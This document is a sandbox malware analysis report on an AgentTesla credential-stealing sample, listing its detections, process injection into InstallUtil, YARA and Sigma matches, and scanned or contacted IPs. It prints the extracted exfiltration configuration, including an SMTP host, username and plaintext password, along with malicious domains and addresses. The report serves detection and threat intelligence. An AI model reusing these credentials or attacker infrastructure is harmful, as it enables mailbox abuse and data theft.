Edit tour

Windows Analysis Report
n1KVzXM8Wk.exe

Overview

General Information

Sample name:	n1KVzXM8Wk.exe
Analysis ID:	1397531
MD5:	72b14801621eb5aaee0715dfc65d8b72
SHA1:	2f4b2859fa8d1db18bc639622dddc5025af07c60
SHA256:	49022d920d3b36c58eba1f941352a936a71aaac99cdacf65a925e0dc655bd232
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected UAC Bypass using CMSTP

.NET source code references suspicious native API functions

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Suspicious Outbound Kerberos Connection

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Connects to several IPs in different countries

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses SMTP (mail sending)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

n1KVzXM8Wk.exe (PID: 6812 cmdline: C:\Users\user\Desktop\n1KVzXM8Wk.exe MD5: 72B14801621EB5AAEE0715DFC65D8B72)

InstallUtil.exe (PID: 20140 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.bananasnevis.com", "Username": "info@bananasnevis.com", "Password": "4RJak3wc7b^o"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2959651140.000000000333E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2959651140.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2959651140.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2959651140.0000000003369000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2295238294.00000119A51F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2295238294.00000119A51F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2951796876.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2951796876.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: n1KVzXM8Wk.exe PID: 6812	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: n1KVzXM8Wk.exe PID: 6812	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: n1KVzXM8Wk.exe PID: 6812	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: n1KVzXM8Wk.exe PID: 6812	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: InstallUtil.exe PID: 20140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 20140	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33555:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33671:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3374d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33873:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31755:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31871:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3194d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a73:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31755:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31871:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3194d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a73:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33555:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33671:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3374d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33873:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334e3:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33555:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335df:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33671:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336db:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3374d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337e3:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33873:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xc391b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xc398d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xc3a17:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xc3aa9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xc3b13:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xc3b85:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xc3c1b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xc3cab:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 45.67.210.47, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\n1KVzXM8Wk.exe, Initiated: true, ProcessId: 6812, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 50907

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 201.20.80.113, DestinationIsIpv6: false, DestinationPort: 666, EventID: 3, Image: C:\Users\user\Desktop\n1KVzXM8Wk.exe, Initiated: true, ProcessId: 6812, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 50150

Sigma detected: Suspicious Outbound Kerberos Connection

Source: Network Connection

Author: Ilyas Ochkov, oscd.community: Data: DestinationIp: 47.93.114.68, DestinationIsIpv6: false, DestinationPort: 88, EventID: 3, Image: C:\Users\user\Desktop\n1KVzXM8Wk.exe, Initiated: true, ProcessId: 6812, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 53926

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 103.124.198.118, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\n1KVzXM8Wk.exe, Initiated: true, ProcessId: 6812, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49745

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 103.133.223.211, DestinationIsIpv6: false, DestinationPort: 2525, EventID: 3, Image: C:\Users\user\Desktop\n1KVzXM8Wk.exe, Initiated: true, ProcessId: 6812, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 50344

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://192.140.42.83:31511

Avira URL Cloud: Label: malware

Found malware configuration

Source: 5.2.InstallUtil.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.bananasnevis.com", "Username": "info@bananasnevis.com", "Password": "4RJak3wc7b^o"}

Multi AV Scanner detection for domain / URL

Source: heygirlisheeverythingyouwantedinaman.com	Virustotal: Detection: 20%			Perma Link
Source: http://188.164.193.178:30744	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Source: n1KVzXM8Wk.exe	ReversingLabs: Detection: 21%
Source: n1KVzXM8Wk.exe	Virustotal: Detection: 23%			Perma Link

Machine Learning detection for sample

Source: n1KVzXM8Wk.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: n1KVzXM8Wk.exe PID: 6812, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.4:51515 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 102.223.20.217:443 -> 192.168.2.4:54575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.4:55000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.4:55558 version: TLS 1.2

Source: n1KVzXM8Wk.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 11 IPs: 212.110.188.222,212.110.188.189,212.110.188.202,212.110.188.213,212.110.188.198,212.110.188.220,212.110.188.193,212.110.188.195,212.110.188.204,212.110.188.216,212.110.188.207
Source: global traffic	TCP traffic: Count: 15 IPs: 188.132.222.171,188.132.222.168,188.132.222.8,188.132.222.199,188.132.222.166,188.132.222.167,188.132.222.52,188.132.222.44,188.132.222.6,188.132.222.5,188.132.222.70,188.132.222.39,188.132.222.38,188.132.222.34,188.132.222.14
Source: global traffic	TCP traffic: Count: 10 IPs: 184.178.172.13,184.178.172.23,184.178.172.26,184.178.172.25,184.178.172.14,184.178.172.28,184.178.172.17,184.178.172.5,184.178.172.18,184.178.172.11

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 13.234.24.116 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 103.149.194.11 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 162.215.212.160 ports 62691,64696,3,5,8,9,38958
Source: global traffic	TCP traffic: 188.164.193.178 ports 45775,7001,9733,63078,15342,8500,3,30663,8,47573,60484,37842,5348,33338,35626,30744
Source: global traffic	TCP traffic: 109.123.254.43 ports 17179,23901,42048,14474,18072,40667,36076,0,1,31167,2,51584,5,51025,24210,51856,51538
Source: global traffic	TCP traffic: 207.180.234.220 ports 47348,45876,48963,39323,42823,36946,2,39919,3,4,8,49586,30507,37736
Source: global traffic	TCP traffic: 212.3.112.128 ports 0,3,5,6,35860,8
Source: global traffic	TCP traffic: 92.246.139.113 ports 0,1,2,34985,13209,30311,32244,13940,11201,10003,30635
Source: global traffic	TCP traffic: 92.246.139.112 ports 1,11945,4,5,9,30504
Source: global traffic	TCP traffic: 212.115.232.79 ports 31280,0,1,2,3,8
Source: global traffic	TCP traffic: 162.144.32.209 ports 23847,2,3,4,7,8
Source: global traffic	TCP traffic: 103.82.233.2 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 92.204.135.4 ports 44712,1,2,4,58754,7
Source: global traffic	TCP traffic: 157.185.161.100 ports 26589,2,5,6,8,9
Source: global traffic	TCP traffic: 51.38.14.161 ports 23306,28918,0,2,3,33893,6
Source: global traffic	TCP traffic: 92.205.110.47 ports 17158,50709,0,2,5,8,50228,55509
Source: global traffic	TCP traffic: 132.148.128.8 ports 18401,61496,2254,48181,1,2,5,12519,1783,9
Source: global traffic	TCP traffic: 194.31.79.75 ports 1,2,29671,6,7,9
Source: global traffic	TCP traffic: 41.223.234.116 ports 2,3,5,7,9,37259
Source: global traffic	TCP traffic: 102.64.116.1 ports 0,2,32850,3,5,8
Source: global traffic	TCP traffic: 175.139.179.65 ports 0,2,4,5,8,42580
Source: global traffic	TCP traffic: 161.97.147.193 ports 43131,29901,55283,1,1599,5,37257,9,2838
Source: global traffic	TCP traffic: 41.217.223.145 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 198.57.195.42 ports 38242,1,3,6,31683,8,17986
Source: global traffic	TCP traffic: 72.10.160.90 ports 13083,22693,29129,3913,15607,2589,1335,1257,19809,24199,30967,3897,14761,33087,23277,25997,25659,20007,30893,2,5,1463,8,9,17337,16703
Source: global traffic	TCP traffic: 72.10.160.93 ports 25873,0,1,3,6,7,16703
Source: global traffic	TCP traffic: 72.10.160.92 ports 0,2,19809,26077,6,7,10275
Source: global traffic	TCP traffic: 207.180.222.186 ports 56962,2,5,6,9,16207
Source: global traffic	TCP traffic: 152.228.134.212 ports 32148,1,2,3,4,8
Source: global traffic	TCP traffic: 72.10.160.170 ports 18543,5385,2085,1,1611,2643,2565,6,28003,29053
Source: global traffic	TCP traffic: 72.10.160.172 ports 15991,17293,27559,2955,2,5,9,1969
Source: global traffic	TCP traffic: 72.10.160.171 ports 30189,2,6,7,6227,5369,1969,5009,6607
Source: global traffic	TCP traffic: 173.249.33.122 ports 47537,62690,5640,27427,16708,2,3,3216,4,8,49851,9,44194,45241,49382
Source: global traffic	TCP traffic: 51.222.241.157 ports 22538,27206,0,2,6,7,2563,46286
Source: global traffic	TCP traffic: 128.199.221.91 ports 8004,64579,33383,29603,26789,1,2,5,9,12259
Source: global traffic	TCP traffic: 161.97.173.42 ports 46018,0,53397,2,3,6,23670,7,37862,31579,27172
Source: global traffic	TCP traffic: 207.180.226.58 ports 54690,64608,59932,2,3,51276,5,9
Source: global traffic	TCP traffic: 154.79.254.236 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 107.180.88.41 ports 37881,1,3,7,8,3734
Source: global traffic	TCP traffic: 148.72.212.252 ports 44920,0,1,4,5,50415
Source: global traffic	TCP traffic: 5.135.137.13 ports 59124,1,2,4,5,9
Source: global traffic	TCP traffic: 132.148.154.97 ports 0,1,10958,5,59369,8,9
Source: global traffic	TCP traffic: 113.53.29.228 ports 1,13629,2,3,6,9
Source: global traffic	TCP traffic: 146.190.84.209 ports 9445,62842,33091,4,5,26154,9
Source: global traffic	TCP traffic: 51.15.205.223 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 145.239.2.102 ports 14075,15460,42147,48821,28501,0,1,56732,4,59522,5,6,29631,13247,62181,3769
Source: global traffic	TCP traffic: 162.214.102.121 ports 21412,24505,64557,0,29376,29430,2,3,4,59334,31540,52420,9,51356
Source: global traffic	TCP traffic: 91.203.114.71 ports 0,38838,2,4,42905,5,9
Source: global traffic	TCP traffic: 5.161.98.204 ports 22019,44739,58199,3240,0,1,3,7,9,37901,53935
Source: global traffic	TCP traffic: 185.51.92.103 ports 1,2,3,5,7,51327
Source: global traffic	TCP traffic: 51.222.241.8 ports 29877,0,55452,5,6,50565,36411
Source: global traffic	TCP traffic: 41.217.220.214 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 213.136.75.85 ports 59058,0,5,8,9,50238
Source: global traffic	TCP traffic: 51.15.241.5 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 94.23.83.53 ports 44334,8960,64305,41537,1,64817,4,54028,6,7,8,31633
Source: global traffic	TCP traffic: 51.81.186.179 ports 0,3,5,58630,6,8,51405
Source: global traffic	TCP traffic: 51.75.125.208 ports 15084,41649,18080,62727,1,33356,4,6,55895,54879,30802,9
Source: global traffic	TCP traffic: 167.71.5.83 ports 8080,1,2,3,3128,8
Source: global traffic	TCP traffic: 173.212.240.168 ports 20341,39180,0,1,58854,3,8,9
Source: global traffic	TCP traffic: 51.210.4.123 ports 61802,2,56238,3,58653,5,6,55774,8,57969
Source: global traffic	TCP traffic: 183.78.143.142 ports 1,2,3,4,28134,8
Source: global traffic	TCP traffic: 148.66.130.53 ports 0,1,2,5,47011,12005
Source: global traffic	TCP traffic: 160.19.155.51 ports 8080,5,6,7,8,5678
Source: global traffic	TCP traffic: 92.205.28.187 ports 26439,2,3,4,6,9
Source: global traffic	TCP traffic: 95.165.163.188 ports 36496,0,1,3,60103,6
Source: global traffic	TCP traffic: 34.64.104.210 ports 1,2,3,5,8,53128
Source: global traffic	TCP traffic: 50.63.12.33 ports 9367,0,1,40838,34644,50781,5,23065,7,22450,8,58507,52814,30920
Source: global traffic	TCP traffic: 5.196.111.30 ports 0,1,2,4,8,20481
Source: global traffic	TCP traffic: 141.94.174.6 ports 45877,4098,39796,59583,2450,35072,35557,50470,1772,60870,7856,37876,40280,38428,13326,41388,45620,41866,41920,3096,60912,0,1,33466,3,3601,24085,33346,6,13718,6438,2935,1647
Source: global traffic	TCP traffic: 166.62.87.148 ports 40591,42801,0,1,2,4,8
Source: global traffic	TCP traffic: 51.89.173.40 ports 3100,44719,23313,23854,20435,1,30199,2,3,55198,51511,11058
Source: global traffic	TCP traffic: 50.63.13.3 ports 6164,12539,1,34677,3,53005,6,7,12035,44392,4214,11673
Source: global traffic	TCP traffic: 79.137.204.235 ports 1,2,3,7,30225,13722
Source: global traffic	TCP traffic: 94.232.11.178 ports 46449,0,2,5,58028,8
Source: global traffic	TCP traffic: 161.97.160.158 ports 13197,27010,58943,1,4,5,8,13970,5814,11018
Source: global traffic	TCP traffic: 51.210.45.148 ports 8772,19873,62283,41855,60359,3,5,6,59612,8,11176,36721,36424,3865
Source: global traffic	TCP traffic: 149.28.141.180 ports 65201,0,1,2,5,6
Source: global traffic	TCP traffic: 37.187.143.172 ports 47016,0,1,4,6,7
Source: global traffic	TCP traffic: 163.172.149.133 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 159.223.71.71 ports 50837,49922,62572,59243,56581,2,4,59159,53741,51187,9,64193,51935,64151,51616
Source: global traffic	TCP traffic: 147.45.43.59 ports 33468,3,34555,4,6,8,30886
Source: global traffic	TCP traffic: 66.228.33.190 ports 2,4,6,29466,48487,9,36702
Source: global traffic	TCP traffic: 162.241.66.135 ports 64367,42875,2,4,5,7,8
Source: global traffic	TCP traffic: 41.217.220.69 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 20.205.61.143 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 125.229.149.168 ports 65110,65100,0,1,5,6
Source: global traffic	TCP traffic: 198.12.253.1 ports 49878,0,2,3,8,3820,50205
Source: global traffic	TCP traffic: 185.171.24.5 ports 18675,6378,29527,1,5,6,7,8
Source: global traffic	TCP traffic: 91.121.89.41 ports 8080,1,2,3,3128,8
Source: global traffic	TCP traffic: 138.197.92.110 ports 21346,1,2,3,4,6
Source: global traffic	TCP traffic: 166.62.88.163 ports 30178,51350,4,5,54445,1992,16139
Source: global traffic	TCP traffic: 103.121.89.75 ports 39267,2,3,6,7,9
Source: global traffic	TCP traffic: 203.110.145.82 ports 63128,1,2,3,6,8
Source: global traffic	TCP traffic: 162.241.46.40 ports 62592,62244,49401,60708,56241,61579,0,1,4,9,46097
Source: global traffic	TCP traffic: 203.161.32.218 ports 59220,0,2,3,5,9,52903
Source: global traffic	TCP traffic: 46.182.6.69 ports 41041,63049,0,1,25295,4
Source: global traffic	TCP traffic: 45.117.179.179 ports 14791,33164,3547,3,4,5,7,28151,18701,55606
Source: global traffic	TCP traffic: 203.161.32.242 ports 0,2,3,5,9,52903
Source: global traffic	TCP traffic: 138.68.24.185 ports 46035,0,3,59307,4,5,6
Source: global traffic	TCP traffic: 200.6.175.10 ports 59341,1,3,4,5,9
Source: global traffic	TCP traffic: 129.146.45.163 ports 31289,1,2,3,8,9
Source: global traffic	TCP traffic: 103.121.90.216 ports 6422,44419,8680,0,6,8,6546,15229
Source: global traffic	TCP traffic: 103.230.126.123 ports 48359,44341,46497,57821,3,4,60511,5,8,9
Source: global traffic	TCP traffic: 167.172.159.43 ports 48983,0,1,3,5,6,60153,32988,13988
Source: global traffic	TCP traffic: 72.167.221.145 ports 53672,2,3,5,6,7,3824
Source: global traffic	TCP traffic: 138.68.60.8 ports 8080,1,2,3,3128,8
Source: global traffic	TCP traffic: 162.240.19.133 ports 38673,1,2,5,6,51226,42690
Source: global traffic	TCP traffic: 103.78.0.44 ports 1,2,3129,3,3128,9
Source: global traffic	TCP traffic: 107.180.101.18 ports 21643,3,27053,33302,59368,6,26850,3663,37411,5855
Source: global traffic	TCP traffic: 109.205.181.27 ports 48977,7663,58981,0,3,4,5,25783,50344,15737,2419
Source: global traffic	TCP traffic: 186.97.172.178 ports 60080,5,6,7,8,5678
Source: global traffic	TCP traffic: 216.10.242.18 ports 40571,31586,3,5,7,9,9735
Source: global traffic	TCP traffic: 104.238.111.107 ports 5484,15073,21453,5452,45883,3230,23667,0,56225,2,30026,3,15419,60214,36049,6,8968,7757,7999,53777
Source: global traffic	TCP traffic: 49.13.116.170 ports 0,1,2,3,6,31602
Source: global traffic	TCP traffic: 43.255.113.232 ports 8083,8086,2,8,80,82,84
Source: global traffic	TCP traffic: 103.176.116.171 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 161.97.170.209 ports 24606,2296,61841,43129,0,2,4,6
Source: global traffic	TCP traffic: 65.49.82.7 ports 40202,0,4,6,7,46770,31977
Source: global traffic	TCP traffic: 51.158.105.107 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 107.180.89.55 ports 25508,0,2,5,8,12940
Source: global traffic	TCP traffic: 162.240.10.35 ports 37761,35087,0,4,5,6,7,47056
Source: global traffic	TCP traffic: 185.45.194.176 ports 29537,2,3,5,7,9
Source: global traffic	TCP traffic: 115.144.163.198 ports 20986,0,2,6,8,9
Source: global traffic	TCP traffic: 139.99.9.218 ports 3891,17253,17182,42325,28639,9141,1,54386,2,52151,29346,7,8,18209,32616,17248,17438
Source: global traffic	TCP traffic: 194.233.78.142 ports 42420,49628,39067,46115,39852,36431,35760,34471,42369,41119,1,31893,3,4,30295,31681,7,33551,35906,39833
Source: global traffic	TCP traffic: 167.99.123.158 ports 59431,27237,1,3,4,5,9,60880,34913
Source: global traffic	TCP traffic: 41.174.96.38 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 51.15.254.129 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.144.36.208 ports 27829,38242,2,3,4,27531,8,52517
Source: global traffic	TCP traffic: 139.59.149.137 ports 22055,38062,1,3,4,6,8,36841
